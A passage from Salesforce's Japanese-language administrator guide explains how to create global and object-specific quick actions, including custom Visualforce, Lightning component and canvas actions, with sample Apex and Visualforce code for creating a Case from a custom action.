ユーザが Chatter フィード、グループ、およびレコード内で質問できるようにす
るには、[質問] アクションをグローバルレイアウトに追加します。
ユーザが Lightning Experienceのどこからでもメールを送信できるようにするには、[メールを送信] アクションを
グローバルレイアウトに追加します。活動で有効になっているオブジェクトの任意のページレイアウトに [メー
ルを送信] グローバルアクションを追加することもできます。[メールを送信] アクションは Lightning Experience

のみでサポートされています。
ユーザが活動の詳細を記録できるようにするには、[活動の記録] アクションをグローバルレイアウトに追加し
ます。たとえば、ユーザは、Salesforce Classic のグローバルページ ([ホーム] ページや Chatter タブなど)、または
Salesforce1 の [フィード] ページまたは [グループ] ページから活動を記録できます。Lightning Experience では、グ
ローバルレイアウトの [活動の記録] アクションは [グローバルアクション] メニューに表示されます。
特定のオブジェクトとのリレーションを持つレコードの使用をユーザに要求しない ToDo に対してグローバル
カスタムアクションを作成するには、Visualforce ページ、Lightning コンポーネント、またはキャンバスアプリ
ケーションを使用します。カスタムアクションとして使用するキャンバスアプリケーションでは、場所として
パブリッシャーが必要です。Lightning コンポーネントをカスタムアクションからコールするには、組織に [私
のドメイン] をリリースする必要があります。グローバルカスタムアクションとして使用するVisualforceページ
では、標準コントローラが使用できません。たとえば、ユーザが住所を入力して地図、現地時間、現地の天候
を表示するカスタムアクションを作成するとします。このアクションでは、標準コントローラを一切使用しな
い Visualforce ページを作成し、それをカスタムグローバルアクションとして追加します。
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キャンバスアプリケーションとカスタムアクションについての詳細は、『Salesforce1モバイルアプリケーション
開発者ガイド』を参照してください。

メモ:

• 顧客を含む Chatter グループの場合、グローバル作成、活動の記録、およびカスタムアクションはサ
ポートされず、標準Chatterアクション ([投稿]、[ファイル]、[リンク]、[アンケート] など) のみが表示さ
れます。

• 主従関係の従オブジェクトであるオブジェクトのレコードを作成するアクションは、グローバルアク
ションではなくオブジェクト固有のアクションである必要があります。

作成アクションでサポートされるオブジェクト
ユーザが次のように多くの種類のレコードを作成できるようにするグローバルアクションを作成できます。
• 取引先
• 納入商品
• バッジ
• キャンペーン
• ケース
• 取引先責任者
• 契約
• カスタムオブジェクト
• 行動 (被招集者が関連しない)

• 目標
• グループ
• リード
• メモ
• 商談
• 個人取引先
• 質問
• 報奨
• ToDo

• 作業指示
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グローバルクイックアクションの作成
グローバルアクションは、ホームページ、Chatter タブ、オブジェクトページなど、アクションがサポート
されているページに追加できます。たとえば、[活動の記録] アクションをグローバルレイアウトに追加し
て、ユーザが Chatter スレッドから直接通話の詳細を記録できるようにします。

関連トピック:

オブジェクト固有のアクション
Chatter が有効な場合と無効な場合のアクション
クイックアクションの考慮事項
ユーザによるアクションの実行

グローバルクイックアクションの作成

ユーザ権限

アクションを作成する
• 「アプリケーションの

カスタマイズ」

グローバルアクションは、ホームページ、Chatter タブ、オブジェクトページな
ど、アクションがサポートされているページに追加できます。たとえば、[活動
の記録] アクションをグローバルレイアウトに追加して、ユーザが Chatter スレッ
ドから直接通話の詳細を記録できるようにします。

段階的な手順: グローバルクイックアクションを作成する
1. [設定] から、[クイック検索] ボックスに「アクション」と入力し、[グローバルアクション]を選択します。
2. [新規アクション]をクリックします。
3. 作成するアクションの種別を選択します。
4. アクションをカスタマイズします。

• [レコードを作成] アクションの場合、作成するオブジェクトの種別を選択します。オブジェクトに複数
のレコードタイプがある場合、このアクションで作成するレコードに使用するレコードタイプを選択し
ます。

• [カスタム Visualforce]または [カスタムキャンバス] アクションの場合、Visualforceページまたはキャンバス
アプリケーションを選択し、アクションウィンドウの高さを指定します。幅は固定です。

• [Lightningコンポーネント] アクションの場合、アクションでコールされるコンポーネントを選択します。

5. アクションの表示ラベルを入力します。ユーザにはこの表示ラベルがアクション名として表示されます。

ヒント:  [レコードを作成]、[メールを送信]、または [活動の記録] アクションを作成している場合は、
[標準の表示ラベル種別] リストから、Salesforce が表示ラベルを生成するオプションを選択します。こ
のリストの「レコード」や「レコードタイプ」などの表示ラベルには、アクションで作成されるオブ
ジェクトの種別またはレコードタイプが Salesforce によって入力されます。たとえば、取引先責任者の
作成アクションで [新規 [レコード] の作成] 標準表示ラベルを選択すると、「新規取引先責任者の作成」
という表示ラベルが生成されます。

6. 必要に応じて、アクションの名前を変更します。
この名前は API と管理パッケージで使用されます。先頭は英字にする、英数字文字とアンダースコアのみを
使用する、末尾をアンダースコアにしない、アンダースコアを 2 つ続けないという制約があります。API の
使用に習熟している場合を除き、この項目は編集しないことをお勧めします。
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7. アクションの説明を入力します。
説明は、アクションの詳細ページと、[ボタン、リンク、およびアクション] ページのリストに表示されま
す。説明はユーザには表示されません。同じオブジェクトに対して複数のアクションを作成する場合、「新
規クライアントレコードタイプを使用して取引先に取引先責任者を作成する」など、詳細な説明を使用す
ることをお勧めします。

8. [レコードを作成] または [活動の記録] アクションで、アクションの完了時にフィード項目を作成するかどう
かを選択します。

9. [レコードを作成]、[レコードを更新]、[活動の記録] アクションに、アクションが正常に実行された場合に
表示されるカスタム成功メッセージを追加できます。

10. 必要に応じて、[アイコン変更] をクリックし、アクションに別のアイコンを選択します。
アクションアイコンに使用するカスタムイメージのサイズは、1 MB 未満にする必要があります。

11. [保存]をクリックします。
クイックアクションを作成したら、レイアウトをカスタマイズし、定義済みの値を追加してから、アクション
をページレイアウトに追加します。

ヒント: アクションを削除すると、そのアクションが割り当てられているすべてのレイアウトからアク
ションが削除されます。

関連トピック:

クイックアクション項目の定義済み項目値の設定
高度なページレイアウトエディタを使用したアクションのカスタマイズ
クイックアクションのカスタム成功メッセージ
オブジェクト固有のカスタムアクションとしての Visualforce ページ
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オブジェクト固有のアクション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クイックアクションを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

カスタムキャンバスを使
用可能なエディション:
Professional Edition
(Force.com Canvas が有効
な場合)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

オブジェクト固有のアクションでは、レコードの作成または更新、活動の記録、
メールの送信などの操作を特定のオブジェクトのコンテキストですばやく行う
ことができます。
オブジェクト固有の作成アクションでは、レコードが作成されて関連レコード
に自動的に関連付けられます。たとえば、取引先オブジェクトにオブジェクト
固有のアクションを追加して、取引先責任者を作成できるようにします。ユー
ザが、そのアクションで Acme 取引先の詳細ページに取引先責任者を作成する
と、新しい取引先責任者は自動的に Acme と関連付けられます。オブジェクト固
有のアクションは、そのオブジェクトのページレイアウトでのみ使用できます。
たとえば、[新規グループメンバー] アクションは、グループパブリッシャーレイ
アウトにのみ追加できます。
ユーザがオブジェクト固有の作成アクションを使用してレコードを作成すると、
そのレコードのフィード項目が次の場所に表示されます。
• 新しいレコードが作成されたレコードのフィード
• 新しいレコードのフィードの最初のエントリとして
• レコードを作成したユーザの Chatter フィード
• レコードを作成したユーザのユーザプロファイルフィード
• レコードが作成されたレコードをフォローするユーザの Chatter フィード
• カスタムトリガまたは自動フォロー規則によって新しいレコードを自動的に

フォローするユーザの Chatter フィード
オブジェクト固有の活動の記録アクションでは、ユーザは特定のレコードに関
連する通話、会議、その他のやりとりに関するメモを入力できます。
オブジェクト固有の更新アクションでは、ユーザが簡単にレコードを編集できます。更新が可能な項目を定義
できます。
オブジェクト固有のカスタムアクションでLightningコンポーネント、Visualforceページ、またはキャンバスアプ
リケーションを呼び出すことで、オブジェクトレコードにリレーションを持つレコードをユーザが操作または
作成できます。オブジェクト固有のカスタムアクションの Visualforce ページには、関連するオブジェクト用の
標準コントローラを含める必要があります。たとえば、ユーザが取引先責任者の Twitter プロファイルをイン
ポートし、その情報を取引先責任者レコードに追加することができるカスタムアクションを作成するには、標
準取引先責任者コントローラを使用します。
ケースでのみ使用できるメールの送信アクションにより、Salesforce1 でケースフィードの [メール] アクション
(簡易版) へのアクセス権がユーザに付与されます。

サポートされるオブジェクト
オブジェクト固有のアクションを作成するとき、対象のオブジェクトとして選択できるのは、行動、ToDo、ま
たはホストオブジェクトと親子関係または参照関係にあるオブジェクトのみです。次のような多くのオブジェ
クトのオブジェクト固有のアクションを作成できます。
• 取引先
• キャンペーン
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• ケース
• 取引先責任者
• カスタムオブジェクト
• グループ
• リード
• 商談

オブジェクト固有のクイックアクションの作成
オブジェクト固有のアクションにより、ユーザは他のレコードと自動的にリレーション設定されるレコー
ドの作成、特定のレコードの更新、定義した方法によるレコードの操作を行うことができます。

関連トピック:

グローバルアクション
Chatter が有効な場合と無効な場合のアクション
クイックアクションの考慮事項
ユーザによるアクションの実行

オブジェクト固有のクイックアクションの作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

ユーザ権限

アクションを作成する
• 「アプリケーションの

カスタマイズ」

オブジェクト固有のアクションにより、ユーザは他のレコードと自動的にリレー
ション設定されるレコードの作成、特定のレコードの更新、定義した方法によ
るレコードの操作を行うことができます。
1. アクションを作成するオブジェクトの管理設定から、[ボタン、リンク、およ

びアクション] に移動します。
2. [新規アクション]をクリックします。
3. 作成するアクションの種別を選択します。
4. アクションをカスタマイズします。

• [レコードを作成] アクションの場合、作成するオブジェクトの種別を選択
します。
– オブジェクトに複数のレコードタイプがある場合、このアクションで

作成するレコードに使用するレコードタイプを選択します。
– アクションを作成しているオブジェクトと対象オブジェクトとの間に

複数のリレーションがある場合は、レコードの作成時に取り込む項目
を選択します。2 つのオブジェクト間に主従関係がある場合は、取り
込む項目を選択できません。主従 [リレーション] 項目はデフォルト
で選択され、この設定を変更することはできません。

• [カスタム Visualforce] アクションの場合、Visualforce ページを選択し、アク
ションウィンドウの高さを指定します。幅は固定です。

• [Lightningコンポーネント] アクションの場合、アクションでコールされるコンポーネントを選択します。
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5. アクションの表示ラベルを入力します。ユーザにはこの表示ラベルがアクション名として表示されます。

ヒント:  [レコードを作成]、[メールを送信]、または [活動の記録] アクションを作成している場合は、
[標準の表示ラベル種別] リストから、Salesforce が表示ラベルを生成するオプションを選択します。こ
のリストの「レコード」や「レコードタイプ」などの表示ラベルには、アクションで作成されるオブ
ジェクトの種別またはレコードタイプが Salesforce によって入力されます。たとえば、取引先責任者の
作成アクションで [新規 [レコード] の作成] 標準表示ラベルを選択すると、「新規取引先責任者の作成」
という表示ラベルが生成されます。

6. 必要に応じて、アクションの名前を変更します。
この名前は API と管理パッケージで使用されます。先頭は英字にする、英数字文字とアンダースコアのみを
使用する、末尾をアンダースコアにしない、アンダースコアを 2 つ続けないという制約があります。API の
使用に習熟している場合を除き、この項目は編集しないことをお勧めします。

7. アクションの説明を入力します。
説明は、アクションの詳細ページと、[ボタン、リンク、およびアクション] ページのリストに表示されま
す。説明はユーザには表示されません。同じオブジェクトに対して複数のアクションを作成する場合、「新
規クライアントレコードタイプを使用して取引先に取引先責任者を作成する」など、詳細な説明を使用す
ることをお勧めします。

8. [レコードを作成] または [活動の記録] アクションで、アクションの完了時にフィード項目を作成するかどう
かを選択します。

9. [レコードを作成]、[レコードを更新]、[活動の記録] アクションに、アクションが正常に実行された場合に
表示されるカスタム成功メッセージを追加できます。

10. 必要に応じて、[アイコン変更] をクリックし、アクションに別のアイコンを選択します。
アクションアイコンに使用するカスタムイメージのサイズは、1 MB 未満にする必要があります。

11. [保存]をクリックします。
クイックアクションを作成したら、レイアウトをカスタマイズし、定義済みの値を追加してから、アクション
をページレイアウトに追加します。

メモ: アクションを削除すると、そのアクションが割り当てられているすべてのレイアウトからアクショ
ンが削除されます。

関連トピック:

クイックアクション項目の定義済み項目値の設定
高度なページレイアウトエディタを使用したアクションのカスタマイズ
オブジェクト固有のカスタムアクションとしての Visualforce ページ
クイックアクションのカスタム成功メッセージ
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カスタムクイックアクション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

カスタムアクションは、自分で作成およびカスタマイズする、[レコードを作
成]、[メールを送信]、[活動の記録] などのアクションです。定義した機能を備え
たLightningコンポーネント、Visualforceページ、またはキャンバスアプリケーショ
ンを呼び出すこともできます。たとえば、ユーザが 5,000 文字よりも長いコメン
トを作成できるようにするカスタムアクションや、サポートエージェントが顧
客と視覚的にやりとりするためのビデオ会議アプリケーションを統合するカス
タムアクションを作成できます。

Lightning コンポーネントアクション
Lightning コンポーネントアクションは、Lightning コンポーネントを呼び出す
カスタムアクションです。Apexと JavaScript がサポートされるため、セキュア
な方法でクライアント側のカスタム機能を開発できます。Lightning コンポー
ネントアクションは Salesforce1 および Lightning Experience でのみサポートされ
ます。
オブジェクト固有のカスタムアクションとしての Visualforce ページ
オブジェクトのカスタムアクションとして追加されるVisualforceページは、そのオブジェクト種別のレコー
ドのコンテキストで呼び出されます。カスタムアクションには、カスタムアクションをクリックしたとき
にユーザが参照していたレコードから特定のレコード ID が渡されます。ページは、この特定のレコードタ
イプに対して動作するように設計します。
グローバルカスタムアクションとしての Visualforce ページ
グローバルアクションとして使用されるVisualforceページはさまざまな場所から呼び出すことができ、特定
のレコードと関連付けられていません。完全な「行動の自由」があります。つまり、コードを記述するか
どうかは自分次第です。
Visualforce カスタムアクションのアクションヘッダーの非表示
カスタムアクションとして使用するVisualforceページを作成するときに、アクションヘッダーを非表示にす
るように選択できます。アクションヘッダーを非表示にすると、特にVisualforceページに独自のボタンを指
定している場合など、ユーザが困惑するのを防止できます。
キャンバスアプリケーションをカスタムアクションとして使用する場合の前提条件
キャンバスアプリケーションをカスタムアクションとして使用すると、Salesforce のアプリケーションの機
能や Chatter の他の場所にアクセスする権限をユーザに簡単に付与できます。

関連トピック:

グローバルクイックアクションの作成
オブジェクト固有のクイックアクションの作成
オブジェクト固有のカスタムアクションとしての Visualforce ページ
キャンバスアプリケーションをカスタムアクションとして使用する場合の前提条件
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Lightning コンポーネントアクション

エディション

使用可能なエディション:
Salesforce1 と Lightning
Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Lightningコンポーネントアクションは、Lightningコンポーネントを呼び出すカス
タムアクションです。Apex と JavaScript がサポートされるため、セキュアな方法
でクライアント側のカスタム機能を開発できます。Lightningコンポーネントアク
ションは Salesforce1 および Lightning Experience でのみサポートされます。

メモ: Lightning コンポーネントアクションが正しく動作するには、組織に
[私のドメイン] がリリースされている必要があります。

ページレイアウトエディタを使用して Lightning コンポーネントアクションをオ
ブジェクトのページレイアウトに追加できます。組織に Lightning コンポーネン
トアクションがある場合は、ページレイアウトエディタのパレットの [Salesforce1

および Lightning アクション] カテゴリで見つけることができます。
Lightning Experienceレコードページでは、Lightningコンポーネントアクションは、
強調表示パネルにあるページレベルのアクションメニューに表示されます。
Lightning コンポーネントアクションは、単に組織の Lightning コンポーネントを
コールすることはできません。コンポーネントがLightningコンポーネントアクションとして機能するには、そ
の目的に特化して設定し、force:LightningQuickAction または
force:LightningQuickActionWithoutHeaderインターフェースを実装する必要があります。カスタムコ
ンポーネントの設定に関する詳細は、『Lightning コンポーネント開発者ガイド』を参照してください。
Lightning コンポーネントアクションをパッケージ化する場合は、アクションが呼び出すコンポーネントは
access=global とマークされている必要があります。

関連トピック:

Lightning Experience のアクション
私のドメイン
クイックアクションの考慮事項

オブジェクト固有のカスタムアクションとしての Visualforce ページ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

オブジェクトのカスタムアクションとして追加される Visualforceページは、その
オブジェクト種別のレコードのコンテキストで呼び出されます。カスタムアク
ションには、カスタムアクションをクリックしたときにユーザが参照していた
レコードから特定のレコード ID が渡されます。ページは、この特定のレコード
タイプに対して動作するように設計します。
オブジェクト固有のアクションとして使用するために作成する Visualforceページ
では、標準オブジェクトコントローラを使用する必要があります。コントロー
ラ拡張を使用して、JavaScript Remotingを使用してコールできる @RemoteAction

メソッドなどのカスタムコードを追加します。
カスタムコードが、元のレコードの更新以上の役割を果たすことがあります。
たとえば、[Create Quick Order (注文の簡易作成)] カスタムアクションは、一致する
商品を検索します。続いて、部品の注文作成の一環として、請求書と品目を作
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成します。このロジックは、元の取引先レコードのコンテキストで発生します。請求書は注文の簡易作成アク
ションが呼び出された取引先レコードに関連付けられます。
アクションが完了すると、ユーザを元のレコードに関連するページにリダイレクトします。
次のコードサンプルは、取引先オブジェクトでカスタムアクションとして使用するよう設計され、標準取引先
コントローラを使用するページを示します。このアクションではユーザが取引先詳細ページからケースを作成
でき、標準作成アクションとはユーザインターフェースが異なります。
public with sharing class CreateCaseExtension {

private final SObject parent;
public Case theCase {get; set;}
public String lastError {get; set;}

public CreateCaseExtension2(ApexPages.StandardController controller) {
parent = controller.getRecord();
theCase = new Case();
theCase.accountId = parent.id;
lastError = '';

}

public PageReference createCase() {
createNewCase();
theCase = new Case();
theCase.accountId = parent.id;
return null;

}

private void createNewCase() {
try {

insert theCase;

FeedItem post = new FeedItem();
post.ParentId = ApexPages.currentPage().getParameters().get('id');
post.Body = 'created a case';
post.type = 'LinkPost';
post.LinkUrl = '/' + theCase.id;
post.Title = theCase.Subject;
insert post;

} catch(System.Exception ex){
lastError = ex.getMessage();

}
}

}

<apex:page standardcontroller="Account" extensions="CreateCaseExtension" showHeader="false">

<script type='text/javascript' src='/canvas/sdk/js/publisher.js'/>
<style>

.requiredInput .requiredBlock, .requiredBlock {background-color: white;}

.custompubblock div {display: inline-block;}

.custompublabel {width:54px;}
</style>
<script>

function refreshFeed() {
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Sfdc.canvas.publisher.publish({name : 'publisher.refresh', payload :
{feed:true}});

}
</script>
<div>

<apex:form >
<apex:actionFunction action="{!createCase}" name="createCase" rerender="out"

oncomplete="refreshFeed();"/>
<apex:outputPanel id="out" >

<div class="custompubblock">
<div class="custompublabel">Account:</div><apex:inputField

value="{!theCase.accountId}"
style="margin-left:0;"/>&nbsp;&nbsp;&nbsp;

<div>Contact:&nbsp;</div><apex:inputField value="{!theCase.contactId}"
/>

</div>
<apex:inputField value="{!theCase.description}"

style="width:538px;height:92px;margin-top:4px;" />
<div class="custompubblock" style="margin-top:5px;">

<div>Status:&nbsp;</div><apex:inputField value="{!theCase.status}"
/>&nbsp;&nbsp;&nbsp;

<div>Priority:&nbsp;</div><apex:inputField value="{!theCase.priority}"
/>&nbsp;&nbsp;&nbsp;

<div>Case Origin:&nbsp;</div><apex:inputField value="{!theCase.origin}"
/>

</div>
</apex:outputPanel>

</apex:form><br/>
<button type="button" onclick="createCase();"
style="position:fixed;bottom:0px;right:0px;padding:5px 10px;
font-size:13px; font-weight:bold; line-height:
18px;background-color:#0271BF;background-image:-moz-linear-gradient(#2DADDC,

#0271BF);background-repeat:repeat-x;border-color:#096EB3;"
id="addcasebutton">Create Case</button>

</div>
</apex:page>

ホストページを更新する場合の要件
オブジェクト固有またはグローバルのカスタムアクションで、ホストするページのフィードを更新する場合
は、そのアクションとして使用するために作成する Visualforce ページを次のとおり設定する必要があります。
• パブリッシャーの次の JavaScript ファイルを参照する: <script type='text/javascript'

src='/canvas/sdk/js/publisher.js'/>  (カスタムの Visualforceアクションの作成に Force.com Canvas SDK

は必要ありません。)
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• 次の JavaScript コールを含める: Sfdc.canvas.publisher.publish({name : 'publisher.refresh',
payload : {feed:true}});

関連トピック:

グローバルカスタムアクションとしての Visualforce ページ
オブジェクト固有のクイックアクションの作成
ユーザによるアクションの実行

グローバルカスタムアクションとしての Visualforce ページ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

グローバルアクションとして使用される Visualforceページはさまざまな場所から
呼び出すことができ、特定のレコードと関連付けられていません。完全な「行
動の自由」があります。つまり、コードを記述するかどうかは自分次第です。
グローバルアクションとして使用するために作成する Visualforceページでは、標
準オブジェクトコントローラを使用できません。カスタムコントローラを記述
して、ページを処理する必要があります。
グローバルアクションが完了すると、ユーザはアクションの一環として作成さ
れた親レコードにリダイレクトされるか、開始した場所に戻ります。
次のコードサンプルは、アクションをサポートするオブジェクトでカスタムア
クションとして使用するよう設計された Visualforceページを示します。このアク
ションではユーザがレコード詳細ページ、Chatter、Chatter グループ (顧客グルー
プを除く)、またはホームページからケースを作成できます。標準作成アクショ
ンとはユーザインターフェースが異なります。すべてのグローバルアクション
と同様に、このアクションで作成されたレコードは、他のレコードに関連付け
られていません。
<!-- Custom controller -->
public with sharing class CreateCaseController {

public Case theCase {get; set;}
public String lastError {get; set;}
public CreateCaseController() {

theCase = new Case();
lastError = '';

}

public PageReference createCase() {
createNewCase();
theCase = new Case();
return null;

}

private void createNewCase() {
try {

insert theCase;

FeedItem post = new FeedItem();
post.ParentId = ApexPages.currentPage().getParameters().get('id');
post.Body = 'created a case';
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post.type = 'LinkPost';
post.LinkUrl = '/' + theCase.id;
post.Title = theCase.Subject;
insert post;

} catch(System.Exception ex){
lastError = ex.getMessage();

}
}

}

<apex:page controller="CreateCaseController" showHeader="false">
<script type='text/javascript' src='/canvas/sdk/js/publisher.js'/>
<style>

.requiredInput .requiredBlock, .requiredBlock {background-color: white;}

.custompubblock div {display: inline-block;}

.custompublabel {width:54px;}
</style>

<script>
function refreshFeed() {

Sfdc.canvas.publisher.publish({name : 'publisher.refresh', payload : {feed:
true}});

}
</script>

<div>
<apex:form >

<apex:actionFunction action="{!createCase}" name="createCase" rerender="out"
oncomplete="refreshFeed();"/>

<apex:outputPanel id="out" >
<div class="custompubblock">

<div>Subject:&nbsp;</div><apex:inputField value="{!theCase.subject}"
style="width:500px;" />

</div>
<div class="custompubblock">

<div class="custompublabel">Account:</div><apex:inputField
value="{!theCase.accountId}"

style="margin-left:0;"/>&nbsp;&nbsp;&nbsp;
<div>Contact:&nbsp;</div><apex:inputField value="{!theCase.contactId}"

/>
</div>
<apex:inputField value="{!theCase.description}"

style="width:500px;height:92px;margin-top:4px;" />
<div class="custompubblock" style="margin-top:5px;">

<div>Status:&nbsp;</div><apex:inputField value="{!theCase.status}"
/>&nbsp;&nbsp;&nbsp;

<div>Priority:&nbsp;</div><apex:inputField value="{!theCase.priority}"
/>&nbsp;&nbsp;&nbsp;

<div>Case Origin:&nbsp;</div><apex:inputField value="{!theCase.origin}"
/>

</div>
<div style="color:red;">{!lastError}</div>

</apex:outputPanel>
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</apex:form><br/>
<button type="button" onclick="createCase();"

style="position:fixed;bottom:0px;right:0px;padding:5px 10px;
font-size:13px; font-weight:bold; line-height:
18px;background-color:#0271BF;background-image:-moz-linear-gradient(#2DADDC,

#0271BF);background-repeat:repeat-x;
border-color:#096EB3;" id="addcasebutton">Create Case</button>

</div>
</apex:page>

ホストページを更新する場合の要件
オブジェクト固有またはグローバルのカスタムアクションによって、ホストするページのフィードを更新する
には、そのアクションとして使用するために作成するVisualforceページを次のとおり設定する必要があります。
• パブリッシャーの次の JavaScript ファイルを参照する: <script type='text/javascript'

src='/canvas/sdk/js/publisher.js'/>  (カスタムの Visualforceアクションの作成に Force.com Canvas SDK

は必要ありません。)

• 次の JavaScript コールを含める: Sfdc.canvas.publisher.publish({name : 'publisher.refresh',
payload : {feed:true}});

関連トピック:

オブジェクト固有のカスタムアクションとしての Visualforce ページ
グローバルクイックアクションの作成
ユーザによるアクションの実行

Visualforce カスタムアクションのアクションヘッダーの非表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

カスタムアクションとして使用する Visualforce ページを作成するときに、アク
ションヘッダーを非表示にするように選択できます。アクションヘッダーを非
表示にすると、特に Visualforceページに独自のボタンを指定している場合など、
ユーザが困惑するのを防止できます。
ヘッダーを非表示にするには、カスタムアクションの Visualforce ページの
<apex:page> タグに showQuickActionVfHeader=“false” を追加します。
Visualforce カスタムアクションが Salesforce1 で表示される場合、ヘッダーと [キャ
ンセル] および [保存] ボタンは表示されません。この属性を使用しても、Salesforce

フルサイトでのアクションの表示方法に影響はありません。
showQuickActionVfHeader を指定しないと、値はデフォルトの true になり
ます。
showQuickActionVfHeader属性は、コミュニティではサポートされていませ
ん。

関連トピック:

オブジェクト固有のカスタムアクションとしての Visualforce ページ
グローバルカスタムアクションとしての Visualforce ページ
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キャンバスアプリケーションをカスタムアクションとして使用する場合の前提条件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

クイックアクションを使
用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よび Developer Edition

カスタムキャンバスを使
用可能なエディション:
Professional Edition
(Force.com Canvas が有効
な場合)、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

キャンバスアプリケーションをカスタムアクションとして使用すると、Salesforce

のアプリケーションの機能や Chatter の他の場所にアクセスする権限をユーザに
簡単に付与できます。
パブリッシャーを場所として使用する任意のキャンバスアプリケーションをカ
スタムアクションとして使用できます。たとえば、経費レポートアプリケーショ
ンをカスタムアクションとして使用し、営業担当者が経費レポートをフィード
から直接送信しやすくすることができます。動画会議キャンバスアプリケーショ
ンなどのカスタムアクションは、サポートエージェントが顧客と視覚的にやり
とりして技術的な問題をトラブルシューティングしやすくするのに役立つ可能
性があります。
キャンバスアプリケーションのカスタムアクションを作成する前に、このアプ
リケーションがパブリッシャーを場所として使用していること、および、この
アクションを使用できるようにするユーザにアプリケーションへのアクセス権
限を付与することを確認します。

関連トピック:

カスタムクイックアクション
オブジェクト固有のカスタムアクションとしての Visualforce ページ
ユーザによるアクションの実行
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Chatter パブリッシャーのアクションの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

ユーザ権限

Chatter パブリッシャーで
アクションを有効化する
• 「アプリケーションの

カスタマイズ」

パブリッシャーのアクションを有効化すると、作成したアクションをホームペー
ジのChatterパブリッシャー、Chatterタブ、Chatterグループ、レコードの詳細ペー
ジに追加できます。
デフォルトで、Chatterパブリッシャーには標準アクション (投稿、ファイル、リ
ンク、アンケート、質問、感謝) が含まれます。パブリッシャー設定のアクショ
ンが有効になっている場合は、Chatter パブリッシャーに非標準アクションも含
めることができます。非標準アクションには、作成、更新、活動の記録、カス
タムアクション、およびモバイルスマートアクションが含まれます。
Winter '14 リリース以降に作成された組織では、パブリッシャーのアクションが
自動的に有効になっています。
1. [設定] から、[クイック検索]ボックスに「Chatter 設定」と入力し、[Chatter

設定] を選択します。
2. [編集] をクリックします。
3. [パブリッシャーのアクションを有効化] を選択します。
4. [保存] をクリックします。

メモ: パブリッシャーのアクションは、有効化しなくても Salesforce1 ま
たはサードパーティアプリケーションで使用できます。詳細は、「Chatter

が有効な場合と無効な場合のアクション」を参照してください。

Chatter が有効な場合のアクションの設定
グローバルアクションとオブジェクト固有のアクションにより、Salesforce Classic および Salesforce1 でのユー
ザによる Chatter の操作性が拡張します。
Chatter が有効ではない場合のアクションの設定
組織で Chatter が有効化されていない場合でも、Salesforce1 またはサードパーティアプリケーションのオブ
ジェクト固有のアクションとグローバルアクションを設定できます。
Chatter が有効な場合と無効な場合のアクション
アクションは、Chatter またはパブリッシャーのアクションが有効かどうかに関係なく使用できます。

関連トピック:

グローバルパブリッシャーレイアウトへのアクションの追加
ユーザによるアクションの実行
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Chatter が有効な場合のアクションの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

ユーザ権限

アクションを設定する
• 「アプリケーションの

カスタマイズ」

グローバルアクションとオブジェクト固有のアクションにより、Salesforce Classic

および Salesforce1 でのユーザによる Chatter の操作性が拡張します。
Chatter が組織で有効になっている必要があります。
デフォルトで、Salesforce Classic の Chatter パブリッシャーには標準アクション ([投
稿]、[ファイル]、[リンク]、[アンケート]、[質問]、[感謝]) が含まれます。Chatter

の追加アクションを設定する手順は、次のとおりです。
1. アクションを表示する対象となるオブジェクトのフィード追跡を有効にしま

す。
2. Chatterパブリッシャーで標準アクションと非標準アクションの両方を表示す

る場合は、パブリッシャーのアクションを有効にします。
3. 必要に応じて、関連レコードが作成されたときにレコード詳細ページのフィー

ド項目が作成されるように、関連レコードのフィード更新を有効にします。
4. オブジェクト固有のアクションまたはグローバルアクションを作成します。
5. ユーザがアクションを使用するときに表示する項目が含まれる、アクション

レイアウトをカスタマイズします。
6. アクションをページレイアウトまたはグローバルパブリッシャーレイアウト

に追加します。
デフォルトアクションが自動的に取引先、ケース、取引先責任者、リード、
商談のページレイアウト、および Winter '14 以降に作成された組織のグローバ
ルパブリッシャーレイアウトに追加されます。

関連トピック:

Chatter パブリッシャーのアクションの有効化
オブジェクト固有のクイックアクションの作成
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Chatter が有効ではない場合のアクションの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

ユーザ権限

アクションを設定する
• 「アプリケーションの

カスタマイズ」

